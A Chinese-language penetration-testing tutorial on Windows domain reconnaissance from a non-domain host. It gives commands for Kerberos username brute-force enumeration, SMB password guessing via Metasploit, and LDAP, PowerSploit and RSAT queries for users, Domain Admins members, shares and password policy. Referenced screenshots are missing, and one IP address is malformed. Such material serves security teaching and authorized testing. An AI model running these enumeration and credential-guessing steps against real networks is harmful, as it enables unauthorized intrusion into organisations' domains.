我们在进行内网渗透中,会遇到存在 windows 域环境的情况,当我们获得一个内网主机权限之后,这个主机可能没有加入域,我们无法直接通过在这个主机上获取域中的相关信息,这是如何进行域渗透呢?
我们可以通过钓鱼、欺骗、信息收集、密码猜解等方式获取一个域中普通用户的权限,下面先看一下如何暴力枚举域中的用户名。
我们在对域中信息一无所知的情况下,也没有域中的主机权限,也没有域中用户的账户信息,那么我们可以通过使用字典的方式枚举域中的账户名称。
对于用户名枚举需要对根据以下错误信息来辨别用户名是否正确:
下面推荐几个工具来完成这个工作。
下载地址:
http://www.cqure.net/tools/krbguess-0.21-bin.tar.gz
枚举命令如下:
Java –jar kerbguess.jar –r [domain] –d [user list] –s [DC IP]
使用方法:
nmap –p 88 –script-args krb5-enum-users.realm=’[domain]’,userdb=[user list][DC IP]
模块信息如下:
auxiliary/gather/kerberos_enumusers
使用这个模块我们需要提供三个参数:
1、域名(Domain)
2、域控 IP(RHOST)
3、用户字典(USER_LIST)
输入 run 运行之后的结果如图:
在运行完成之后会将结果保存在 metasploit 的数据库中,输入命令 creds
即可查看存在的用户。
可以使用 Metasploit 的 auxiliary/scanner/smb/smb_login
来枚举用户的密码凭证,使用帮助如下:
经过上面的操作,我们可能已经获得了一个或者若干域用户凭证,在这种情况下,我们就不需要在像之前那样采用暴力枚举的方式来获取用户信息来,我们可以采用光明正大的方式使用域中用户的身份去域数据库中搜索我们想要的数据。
我们要做的几个目标如下:
1、获取用户账户
2、获取用户权限信息(例如 domain admin 组或者远程桌面管理组)
3、枚举域密码策略
4、获取进一步的攻击途径
下面介绍几个可以满足上面需求的工具。
工具下载地址:
https://github.com/ropnop/windapsearch
这个工具是用 python 写的可以通过域控的 LDAP 服务查询用户、组和计算机信息,使用命令如下:
windapsearch --dc-ip [IP_ADDRESS] -u [DOMAIN]\USERNAME -p [PASSWORD] -U
-U
参数的意思获取域中的所有用户,例如:
windapsearch --dc-ip 192.168.5.1 -u mydomain\ops -p Pa55word -U | grep cn: | cut -d " " -f 2
我们可以使用 grep 和 cut 清理一些信息,结果如下:
使用 -da
参数可以获取 domain admins
组中的成员:
windapsearch –dc-ip 192.168.5.1 -u mydomain\ops -p Pa55word --da | grep cn: | cut -d " " -f 2
使用 -m
参数可以获取远程桌面组的成员:
windapsearch --dc-ip 192.168.5.1 -u mydomain\ops -p Pa55word -m "Remote Desktop Users" | grep CN=
这个工具大家都不陌生,使用的人挺多的,作者博客:
http://www.harmj0y.net/blog
我们需要在没有加入域的主机上使用 runas
和/netonly
建立一个由域用户启动的 powershell 会话:
runas /netonly /user:mydomain\op powershell
我们需要在弹出的框中输入密码:
现在我们已经安装好了 PowerSploit,路径如下:
C:\Windows\System32\WindowsPowerShell\v1.0\Modules\PowerSploit-dev
我们导入 PowerSploit 模块:
Import-module .\PowerSploit.psd1
我们使用下面的命令导出域用户:
Get-DomainUser -Domain mydomain.test -DomainController 192.168.5.1 | findstr samaccountname
使用下面的命令导出 domain admins
组成员:
Get-DomainGroupMember -identity "Domain Admins" -Domain mydomain.test -DomainController 192.168.5.1 | findstr MemberName
使用下面的命令导出远程桌面管理组的成员:
Get-DomainGroupMember -identity "Remote Desktop Users" -Domain mydomain.test -DomainController 192.168.5.1 | findstr MemberName
我们还可以使用当前用户的身份查询他可以访问的共享列表:
Find-DomainShare -CheckShareAccess -Domain mydomain.test -DomainController 192.168.5.1
Microsoft RSAT 的目的是让管理员可以通过远程来管理 Windows 服务器,这个工具的使用与上面的类似,首先创建一个域中普通用户权限的 powershell 会话,然后执行下面的命令获取域密码策略:
Get-ADDefaultDomainPasswordPolicy -Server 192.1685.5.1
我们也可以使用 RAST 的界面程序,使用 runas
启动:
runas /netonly /user:mydomain\ops mmc
下面我们用这种方式来增加主机或用户到域中:
将域控制器实例改为我们的目标:
我们下面看看在域中的用户信息:
https://www.offensive-security.com/metasploit-unleashed/smb-login-check/
https://www.attackdebris.com/?p=311
https://www.attackdebris.com/?p=470